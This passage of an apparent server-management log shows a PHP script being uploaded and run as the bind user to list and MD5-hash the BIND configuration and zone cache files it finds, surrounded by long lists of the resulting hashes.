MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8cfa4ab3d8b17cb819bbbf0ea93fd8e9
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 14:17:07: Establishing a connection
2026-02-09 14:17:08: 

PUT: /tmp/pkp257069

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 14:17:08: 

runuser -l bind -s /bin/bash -c '/tmp/pkp257069; rm /tmp/pkp257069'

2026-02-09 14:17:08: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8cfa4ab3d8b17cb819bbbf0ea93fd8e9
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
